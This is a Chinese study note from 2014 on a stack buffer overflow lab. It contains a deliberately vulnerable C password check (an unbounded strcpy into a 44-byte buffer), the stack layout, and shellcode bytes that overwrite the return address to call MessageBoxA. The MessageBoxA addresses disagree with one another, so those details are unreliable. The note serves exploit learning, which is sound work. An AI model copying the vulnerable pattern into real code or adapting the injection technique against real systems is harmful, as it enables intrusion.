修改之前的代码:
1 #include<stdio.h> 2 #include<stdlib.h> 3 #include<string.h> 4 #include<windows.h> 5 6 #define PASSWORD "1234567" 7 8 int verify_password(char *password) 9 { 10 int authenticated=0x03050709; 11 char buffer[44]; // add local buf to be overflowed 12 authenticated=strcmp(password,PASSWORD); 13 strcpy(buffer, password); // overflow here 14 return authenticated; 15 } 16 17 int main() 18 { 19 int valid_flag=0; 20 char password[1024]; 21 LoadLibrary("user32.dll"); // for messagebox 22 if(!freopen("password.txt","r",stdin)) 23 //FILE *fp; 24 //if(!(fp=fopen("password.txt","rw+"))) 25 { 26 printf("file open error! "); 27 exit(0); 28 } 29 scanf("%s",password); 30 //fscanf(fp,"%s",password); 31 printf("password input: %s ",password); 32 valid_flag=verify_password(password); 33 if(valid_flag){ 34 printf("Incorrect password! "); 35 } 36 else 37 { 38 printf("Congratulation! You have passed the verification! "); 39 } 40 //fclose(fp); 41 return 0; 42 }
注意三处改变:
1. 头文件加入 windows.h
2. 第 11 行 verify_password() 的局部变量 buffer 长度增加为 44,便于填充代码
3. 第 21 行,为填充的代码使用 MessageBox() 作准备。
另外,函数返回地址、MessageBox() 的入口地址要随环境变化重新确定,这些地址可能依赖 OS 的补丁。
UltraEdit 编辑 password.txt,输入 11 组 dcba,由前面的笔记可知,authenticated 会被 overwrite 为 0,可以通过 verify_password() 验证。
OD 调试得出 verify_password() 的栈帧结构为:
…… |
buffer[0..3] - 起始于 0x0012FABC |
buffer[4..7] |
…… |
…… |
buffer[40..43] |
int authenticated |
前栈帧 EBP - 0x0012FAEC : 0x0012FF48 |
Ret Addr - 0x0012FAF0 : 0x00401248 |
…… |
Windows 系统中的 User32.dll 中有 MessageBoxA 函数,接下来通过将二进制代码作为 password 输入并溢出覆盖 RetAddr 后调用 MessageBox() 演示代码注入。
实际上,Windows 在执行 MessageBox 时会根据参数类型选择 A 类函数(ASCII) 或 W 类函数(Unicode) 进一步调用 MessageBoxA() 或者 MessageBoxW() 。这些知识可参阅 MFC & Windows API。
调用 MessageBox() 需要先做三件事:
1. 加载 User32.dll,这个在主函数中(开篇代码第 21 行)完成了。
2. 获取 MessageBox() 的入口地址。
3. 将 MessageBox() 的参数入栈。
关于 MessageBox() 的入口地址,原书介绍的方法是利用 Visual C++ 的工具 Dependency Walker。我下载了 Dependency Walker 2.2 并加载了一个带 UI 的程序,找到 User32.dll 地装载基址是 0x77D10000,MessageBoxA() 的偏移是 0x0005EA11,算出来 MessageBoxA() 的入口地址是:
0x77D10000 + 0x0005EA11 = 0x77D6EA11
但调试后发现这个计算出的入口不对,最后是通过在程序中调用 MessageBoxA() 并调试,才发现 MessageBoxA() 的入口应该是 0x7768EA11,偏差 0x6E0000,不知道为什么,这个问题留着以后完成。
这个,作为参数插入的机器码如下所示:
机器码 | 汇编码 | 备注 |
33 DB | XOR EBX EBX | 压入 "failwest" 的结尾截断符 NULL,与"PUSH 0"等效,但能防止 0 被 strcpy 截断。 |
53 | PUSH EBX | |
68 77 65 73 74 | PUSH 74736577 | 压入"failwest" 字符串 |
68 66 61 69 6C | PUSH 6C696166 | |
8B C4 | MOV EAX,ESP | 将字符串指针放入 EAX |
53 | PUSH EBX |
MessageBoxA() 的四个参数从右向左依次入栈,参数为 (0,failwest,failwest,0) 消息框为默认风格,标题和内容都是 failwest |
50 | PUSH EAX | |
50 | PUSH EAX | |
53 | PUSH EBX | |
B8 0E 02 D1 77 | MOV EAX,0x77D1020E | 调用 MessageBoxA() |
FF D0 | CALL EAX |
注意,上图中多出的 0x90 对应的机器码是 nop(空指令)。
这样,运行后 buffer 会被机器码覆盖,原栈帧 EBP 会被 0x90909090 覆盖,而返回地址会被 buffer 的首地址 0x0012FABC 覆盖。
函数 verify_password() 返回后,EIP 会指向 buffer[],导致 MessageBoxA() 被执行,代码注入完成。
这一节存在的问题是:
1. 如前文描述 MessageBoxA() 的入口地址计算出错,还不知道原因。
2. 注入的 MessageBoxA() 执行后程序会崩溃,因为注入的代码没有安全退出,栈帧和寄存器状态被破坏。
2014年4月7日19:00:55